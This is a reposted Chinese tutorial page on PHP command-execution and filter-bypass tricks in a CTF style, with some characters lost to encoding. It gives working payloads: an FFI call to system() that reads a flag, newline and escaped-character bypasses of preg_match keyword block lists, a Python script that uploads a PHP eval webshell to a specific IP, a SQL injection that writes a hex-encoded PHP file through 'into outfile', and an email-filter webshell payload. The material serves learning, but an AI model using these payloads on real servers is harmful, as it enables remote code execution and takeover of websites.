IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Web1 命令执行(五) -> 正文阅读

[PHP知识库]Web1 命令执行(五)

13.FFI扩展(PHP>7.4.0)

这?扩展可以让PHP语?中使?C语?中的函数和库。

FFI链接

常见的调用方式:

  • FFI::def
  • 创建FFI对象,?个字符串,包含常规C语?中的?系列声明(类型、结构、函数、变量等)。实 际上,这个字符串可能是从C头?件复制粘贴的。
$ffi=FFI::cdef("int system(const char *command);");
$a = '/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();

这段代码?先创建了?个新的 FFI 对象调? Linux 库的 int system(const char* command);函 数,作?是把 command 指定的命令名称或程序名称传给要被命令处理器执?的主机环境,并 在命令完成后返回。

警告:FFI是危险的,因为它允许在一个非常低的水平上与系统接口。?FFl扩展应该只被具有C工作知识和使用的C api的开发人员使用。?为了将风险降到最低,FFI API的使用可能会受到限制。?启用php.ini指令。 ?

(1)FFi::load:加载C?件

public static FFI::load(string $filename ): ?FFI

(2)FFi::scope:使?预加载期间解析的C声明实例化FFI对象

public static FFI::scope(string $name ): FFI

(3)FFi::new:创建?个C语?数据结构

public static FFI::new(FFI\CType|string $type , bool $owned = true , bool $persistent = false ): ?FFI\CData

(4)FFi::cast:执?C类型转换

public static FFI::cast(FFI\CType|string $type , FFI\CData|int|float|bool|null &$ptr ): ?FFI\CData

(5)FFi::memcmp:?较内存区域的??字节

public static FFI::memcmp(string|FFI\CData &$ptr1 , string|F FI\CData &$ptr2 , int $size ): int

(6)FFI::memcpy:复制?个内存区域到另?个内存区域

public static FFI::memcpy(FFI\CData &$to , FFI\CData|string &$from , int $size ): void

?14.特定函数绕过

(1)parse_url:解析 URL,返回其组成部分

parse_url

url与uri

接受?个url并将其解析,如图

?(2)call_user_func

??????call_user_func

  • 调?类??的静态函数

  • 不区分??写

?(3)preg_match绕过

  • 不会匹配换?符
<?php
preg_match('/^*.(flag).*$/',$cmd){
echo hacker;
}
//令$cmd=\nflag
?>

在非多行模式下,$会忽略掉句尾的%0a

<?php
preg_match('/^flag$/',$_GET['a']&&$_GET['a']!==flag){
echo $flag;
}
//a=flag%0a
?>

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_
t'])){

echo "you are going to the next ~";
}
//getIp();?b.u.p.t=23333%0a

(4)特殊绕过

<?php
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|se
d|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n
|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
{

echo("forbid ~");
echo "<br>";
}
$cmd=ca\t%20/flag //可以绕过对cat的正则
$cmd=l\s%20/ //可以绕过对ls的正则
?>
  • PHP利?PCRE回溯次数绕过限制

PHP利?PCRE回溯次数绕过限制

正则匹配中的某些字符对于被匹配字符串出现可匹配也可不匹配的情况,那么先不匹配,让下? 个正则表达式的字符去匹配,如果?法匹配则让该字符匹配字符串称为?次回溯,但正则匹配有 回溯次数的限制,?般利?脚本提交10000个字符差不多可以超过回溯次数绕过正则。

import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, all
ow_redirects=False)

print(res.headers)
  • 数组绕过

preg_match 只匹配字符串不匹配数组 ,传?数组时返回 false

  • 无字母数字的webshell

无字母数字的webshell

(1)filter_var:使用特定的过滤器过滤一个装置

php filter参考手册

FILTER_VALIDATE_URL:(web406): http/https协议不?持后?带有符号,所以我们绕过这个函数的时候?般选择任何其他协议不选 择http,其他协议?持符号,我们便可以构造??的 sql 语句等

?url=0://www.baidu.com;'union/**/select/**/1,0x33C3F7068702072657175697265
2027636F6E6669672E706870273B2473716C3D2773656C65637420666C61672066726F6D20
666C616720696E746F206F757466696C6520222F7661722F7777772F68746D6C2F31302E74
787422273B24726573756C74203D2024636F6E6E2D3E7175657279282473716C293B766172
5F64756D702824726573756C74293B3F3E/**/into/**/outfile/**/"/var/www/html/1.
php"/**/%23;

注意:这?有了 ; 前边不能是http和https协议,可以是其他协议,url并不只有http,

FILTER_VALIDATE_EMAIL(web408):检查变量是否属于 EMAIL 格式

绕过: ?法字符放在"? "可以绕过检测

(2)Payload

"<?=system($_POST[1]);?>"@1.php? ?//非法字符放在""里面可以绕过检测

FILTER_VALIDATE_BOOLEAN:把值作为布尔选项来验证。如果是 "1"、"true"、"on" 和 "yes",则返回 TRUE。如果是 "0"、"false"、"off"、"no" 和 "",则返回 FALSE。否则返回 NULL。

(3)过滤了1和true可以?on和yes绕过.

15.语法绕过

1.提前闭合源文件

?> 提前闭合源?件的?<?php?,之后再新创?<?php?>

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-14 20:53:46  更:2022-02-14 20:55:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 6:39:44-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计